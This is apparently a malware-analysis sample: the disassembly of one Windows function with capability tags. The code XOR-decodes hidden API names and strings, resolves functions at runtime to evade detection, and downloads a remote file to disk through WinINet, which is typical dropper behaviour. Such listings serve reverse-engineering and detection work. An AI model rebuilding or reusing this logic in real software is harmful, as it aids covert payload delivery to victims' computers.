Function at 0x140001b30
Capabilities:
Contain obfuscated stackstrings
Download and write a file
Encode data using xor
Link many functions at runtime
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4c0]
sub rsp, 0x5c0
movaps xmmword [rsp + 0x5b0], xmm6
mov rax, qword [0x140014040]
xor rax, rsp
mov qword [rbp + 0x4a0], rax
mov rdi, rdx
mov rdx, rcx
lea rcx, [rsp + 0x40]
call fcn.140001710
mov rbx, rax
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.14000b190
xor ecx, ecx
cmp qword [rbx + 0x10], rcx
jbe 0x140001bbd
nop
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001b9d
mov rax, qword [rbx]
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
movzx eax, byte [rax + rcx]
xor al, 0x78
mov byte [rdx + rcx], al
inc rcx
cmp rcx, qword [rbx + 0x10]
jb 0x140001b90
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001bfd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqa xmm6, xmmword [0x14000f9b0]
movdqu xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x40], 0
mov rdx, rdi
lea rcx, [rbp - 0x38]
call fcn.140001710
mov rbx, rax
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.14000b190
xor edx, edx
cmp qword [rbx + 0x10], rdx
jbe 0x140001c60
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140001c40
mov rax, qword [rbx]
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
movzx eax, byte [rax + rdx]
xor al, 0x78
mov byte [rcx + rdx], al
inc rdx
cmp rdx, qword [rbx + 0x10]
jb 0x140001c33
mov rdx, qword [rbp - 0x20]
cmp rdx, 0xf
jbe 0x140001ca6
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqa xmm6, xmmword [0x14000f9b0]
movdqu xmmword [rbp - 0x28], xmm6
mov byte [rbp - 0x38], 0
mov word [rbp + 0x78], 0x390b
mov byte [rbp + 0x7a], 0
mov byte [rbp + 0x53], 0
mov dword [rbp + 0x38], 0x1d0c1631
mov dword [rbp + 0x3c], 0xc1d160a
mov dword [rbp + 0x40], 0x161d0837
mov word [rbp + 0x44], 0x39
movdqa xmm1, xmmword [0x14000faa0]
mov byte [rbp + 0x90], 0
mov byte [rbp + 0x63], 0
movdqa xmm0, xmmword [0x14000fbc0]
xorps xmm0, xmmword [0x14000fa20]
movdqu xmmword [rbp + 0x68], xmm0
mov eax, 0x10
nop dword [rax]
nop dword [rax + rax]
xor byte [rbp + rax + 0x68], 0x78
inc rax
cmp rax, 0x12
jb 0x140001d10
mov dword [rbp + 0x48], 0x656c6544
mov dword [rbp + 0x4c], 0x69466574
mov word [rbp + 0x50], 0x656c
mov byte [rbp + 0x52], 0x41
xor eax, eax
nop dword [rax + rax]
xor byte [rbp + rax + 0x38], 0x78
inc rax
cmp rax, 0xd
jb 0x140001d40
xorps xmm1, xmmword [0x14000fbc0]
movdqu xmmword [rbp + 0x80], xmm1
mov dword [rbp + 0x58], 0x61657243
mov dword [rbp + 0x5c], 0x69466574
mov word [rbp + 0x60], 0x656c
mov byte [rbp + 0x62], 0x41
mov byte [rbp - 0x78], 0x6f
mov al, 4
mov cl, 0xa
mov dl, 0x1d
mov r8b, 1
movzx r9d, cl
mov r10b, 3
mov r11b, 0x5c
mov bl, 0x5d
mov dil, 0x41
mov sil, 0xb
movzx r14d, r10b
movzx r15d, r10b
xor r12d, r12d
xor al, 0x6f
mov byte [rbp - 0x77], al
xor cl, 0x6f
mov byte [rbp - 0x76], cl
xor dl, 0x6f
mov byte [rbp - 0x75], dl
xor r8b, 0x6f
mov byte [rbp - 0x74], r8b
xor r9b, 0x6f
mov byte [rbp - 0x73], r9b
xor r10b, 0x6f
mov byte [rbp - 0x72], r10b
xor r11b, 0x6f
mov byte [rbp - 0x71], r11b
xor bl, 0x6f
mov byte [rbp - 0x70], bl
xor dil, 0x6f
mov byte [rbp - 0x6f], dil
xor sil, 0x6f
mov byte [rbp - 0x6e], sil
xor r14b, 0x6f
mov byte [rbp - 0x6d], r14b
xor r15b, 0x6f
mov byte [rbp - 0x6c], r15b
mov byte [rbp - 0x6b], r12b
lea rcx, [rbp - 0x77]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
mov byte [rbp - 0x68], 0x7b
mov cl, 0x10
mov dl, 0x1e
mov r8b, 9
mov r9b, 0x15
movzx r10d, dl
mov r11b, 0x17
mov bl, 0x48
mov dil, 0x49
mov sil, 0x55
mov r14b, 0x1f
movzx r15d, r11b
movzx r12d, r11b
xor eax, eax
xor cl, 0x7b
mov byte [rbp - 0x67], cl
xor dl, 0x7b
mov byte [rbp - 0x66], dl
xor r8b, 0x7b
mov byte [rbp - 0x65], r8b
xor r9b, 0x7b
mov byte [rbp - 0x64], r9b
xor r10b, 0x7b
mov byte [rbp - 0x63], r10b
xor r11b, 0x7b
mov byte [rbp - 0x62], r11b
xor bl, 0x7b
mov byte [rbp - 0x61], bl
xor dil, 0x7b
mov byte [rbp - 0x60], dil
xor sil, 0x7b
mov byte [rbp - 0x5f], sil
xor r14b, 0x7b
mov byte [rbp - 0x5e], r14b
xor r15b, 0x7b
mov byte [rbp - 0x5d], r15b
xor r12b, 0x7b
mov byte [rbp - 0x5c], r12b
mov byte [rbp - 0x5b], al
lea rcx, [rbp - 0x67]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x10], rax
mov byte [rsp + 0x68], 0x74
mov cl, 3
mov dl, 0x1d
mov r8b, 0x1a
movzx r9d, dl
movzx r10d, r8b
mov r11b, 0x11
xor bl, bl
mov dil, 0x5a
mov sil, 0x10
mov r14b, 0x18
movzx r15d, r14b
xor eax, eax
xor cl, 0x74
mov byte [rsp + 0x69], cl
xor dl, 0x74
mov byte [rsp + 0x6a], dl
xor r8b, 0x74
mov byte [rsp + 0x6b], r8b
xor r9b, 0x74
mov byte [rsp + 0x6c], r9b
xor r10b, 0x74
mov byte [rsp + 0x6d], r10b
xor r11b, 0x74
mov byte [rsp + 0x6e], r11b
xor bl, 0x74
mov byte [rsp + 0x6f], bl
xor dil, 0x74
mov byte [rsp + 0x70], dil
xor sil, 0x74
mov byte [rsp + 0x71], sil
xor r14b, 0x74
mov byte [rsp + 0x72], r14b
xor r15b, 0x74
mov byte [rsp + 0x73], r15b
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x69]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x48], rax
mov byte [rsp + 0x78], 0x16
mov cl, 0x61
mov dl, 0x7f
mov r8b, 0x78
movzx r9d, dl
movzx r10d, r8b
mov r11b, 0x73
mov bl, 0x62
mov dil, 0x38
mov sil, 0x72
mov r14b, 0x7a
movzx r15d, r14b
xor eax, eax
xor cl, 0x16
mov byte [rsp + 0x79], cl
xor dl, 0x16
mov byte [rsp + 0x7a], dl
xor r8b, 0x16
mov byte [rsp + 0x7b], r8b
xor r9b, 0x16
mov byte [rsp + 0x7c], r9b
xor r10b, 0x16
mov byte [rsp + 0x7d], r10b
xor r11b, 0x16
mov byte [rsp + 0x7e], r11b
xor bl, 0x16
mov byte [rsp + 0x7f], bl
xor dil, 0x16
mov byte [rbp - 0x80], dil
xor sil, 0x16
mov byte [rbp - 0x7f], sil
xor r14b, 0x16
mov byte [rbp - 0x7e], r14b
xor r15b, 0x16
mov byte [rbp - 0x7d], r15b
mov byte [rbp - 0x7c], al
lea rcx, [rsp + 0x79]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x40], rax
mov byte [rbp - 0x58], 0x5e
mov cl, 0x35
mov dl, 0x3b
mov r8b, 0x2c
mov r9b, 0x30
movzx r10d, dl
mov r11b, 0x32
mov bl, 0x6d
mov dil, 0x6c
mov sil, 0x70
mov r14b, 0x3a
movzx r15d, r11b
movzx r12d, r11b
xor eax, eax
xor cl, 0x5e
mov byte [rbp - 0x57], cl
xor dl, 0x5e
mov byte [rbp - 0x56], dl
xor r8b, 0x5e
mov byte [rbp - 0x55], r8b
xor r9b, 0x5e
mov byte [rbp - 0x54], r9b
xor r10b, 0x5e
mov byte [rbp - 0x53], r10b
xor r11b, 0x5e
mov byte [rbp - 0x52], r11b
xor bl, 0x5e
mov byte [rbp - 0x51], bl
xor dil, 0x5e
mov byte [rbp - 0x50], dil
xor sil, 0x5e
mov byte [rbp - 0x4f], sil
xor r14b, 0x5e
mov byte [rbp - 0x4e], r14b
xor r15b, 0x5e
mov byte [rbp - 0x4d], r15b
xor r12b, 0x5e
mov byte [rbp - 0x4c], r12b
mov byte [rbp - 0x4b], al
lea rcx, [rbp - 0x57]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call r13
cmp eax, 0xffffffff
je 0x1400020d3
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
call qword [rbp + 0x10]
test eax, eax
jne 0x1400020d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movdqa xmm1, xmmword [0x14000fb50]
movdqu xmmword [rsp + 0x40], xmm1
movdqa xmm2, xmmword [0x14000fb10]
movdqu xmmword [rsp + 0x50], xmm2
mov dl, 0x6f
movzx r8d, dl
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x41], al
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x50], al
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor byte [rsp + 0x58], cl
xor byte [rsp + 0x59], cl
xor byte [rsp + 0x5a], cl
xor byte [rsp + 0x5b], cl
xor byte [rsp + 0x5c], cl
xor byte [rsp + 0x5d], cl
xor byte [rsp + 0x5e], cl
xor byte [rsp + 0x5f], cl
xor dl, cl
mov byte [rsp + 0x60], dl
xor r8b, cl
mov byte [rsp + 0x61], r8b
mov byte [rsp + 0x62], 0
xor r12d, r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x41]
mov rbx, qword [rbp - 0x48]
call rbx
mov r14, rax
test rax, rax
je 0x140002264
lea rdx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rdx, qword [rbp + 0x18]
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov r15, qword [rbp - 0x40]
call r15
mov rdi, rax
test rax, rax
je 0x14000224f
lea rcx, [rbp - 0x18]
cmp qword [rbp], 0xf
cmova rcx, qword [rbp - 0x18]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call rsi
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400022f1
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r14
call r15
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbx
nop
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x14000229f
mov rcx, qword [rbp - 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000229a
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002395
call fcn.14000cc60
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400022ea
mov rcx, qword [rbp + 0x18]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022e5
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023e3
call fcn.14000cc60
xor al, al
jmp 0x1400023f2
mov dword [rbp + 8], r12d
lea r9, [rbp + 8]
mov r8d, 0x400
lea rdx, [rbp + 0xa0]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, eax
test eax, eax
je 0x140002343
mov ecx, dword [rbp + 8]
test ecx, ecx
je 0x140002343
mov dword [rbp + 0x10], r12d
mov qword [rsp + 0x20], r12
lea r9, [rbp + 0x10]
mov r8d, ecx
lea rdx, [rbp + 0xa0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [rbp + 8]
test ecx, ecx
jne 0x1400022f5
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test ebx, ebx
setne bl
mov rdx, qword [rbp]
cmp rdx, 0xf
jbe 0x1400023a1
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000239c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000239c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
mov qword [rbp - 8], r12
mov qword [rbp], 0xf
mov byte [rbp - 0x18], 0
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400023ef
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movzx eax, bl
mov rcx, qword [rbp + 0x4a0]
xor rcx, rsp
call fcn.14000cc40
mov rbx, qword [rsp + 0x610]
movaps xmm6, xmmword [rsp + 0x5b0]
add rsp, 0x5c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret